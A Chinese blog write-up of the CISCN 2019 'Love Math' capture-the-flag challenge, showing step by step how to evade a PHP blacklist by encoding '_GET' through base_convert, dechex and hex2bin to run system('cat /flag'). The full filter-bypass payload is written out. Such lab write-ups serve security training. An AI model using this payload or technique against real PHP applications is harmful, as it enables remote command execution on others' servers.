[CISCN 2019 初赛]Love Math

本文探讨了如何在存在特定限制的Web环境中,利用PHP的数学函数和编码转换函数如base_convert、hex2bin、dechex等,绕过黑名单并构造payload来执行系统命令。通过将函数名编码并结合$_GET变量,可以实现对系统命令的间接调用,例如通过`?c=$abs=_GET;$$abs{acos}

直接看题

在这里插入图片描述
题目禁用了一些黑名单,然后可以用一些数学函数的白名单,还正则禁用了字母数字的混合字符串。

一步一步来看

首先肯定是想办法构造这种形式
?c=system('cat /flag')

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

?c=($_GET[acos])($_GET[pi])&acos=system&pi=cat /flag

现在关键是 $_GET 怎么利用数学函数构造

知识点

base_convert()函数在任意进制之间转换数字

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

dechex() 函数把十进制数转换为十六进制数。

参考payload,构造方法还有很多

?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{acos}($$abs{pi})
&acos=system
&pi=cat /flag

现在来简单解释一下payload

hex2bin = base_convert(37907361743,10,36)
37907361743 就是 'hex2bin'36进制,然后base_convert()转换成 10进制

在这里插入图片描述

dechex(1598506324) 其实就是 _GET16进制
dechex()10进制转化成16进制

因为 hex2bin()是将16进制转化成ASCII ,但是正则不允许出现字母数字混合的字符串
所以 _GET = hex2bin(5F474554) = hex2bin(dechex(1598506324))

然后黑名单里是禁用了 [ ],但是在php 中是可以用 { } 来代替 [ ] 的

那再来理解整理一下payload

?c=$abs=_GET;$$abs{acos}($$abs{pi})&acos=system&pi=cat /flag
也就是
?c=$abs=_GET;system(cat /flag)
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值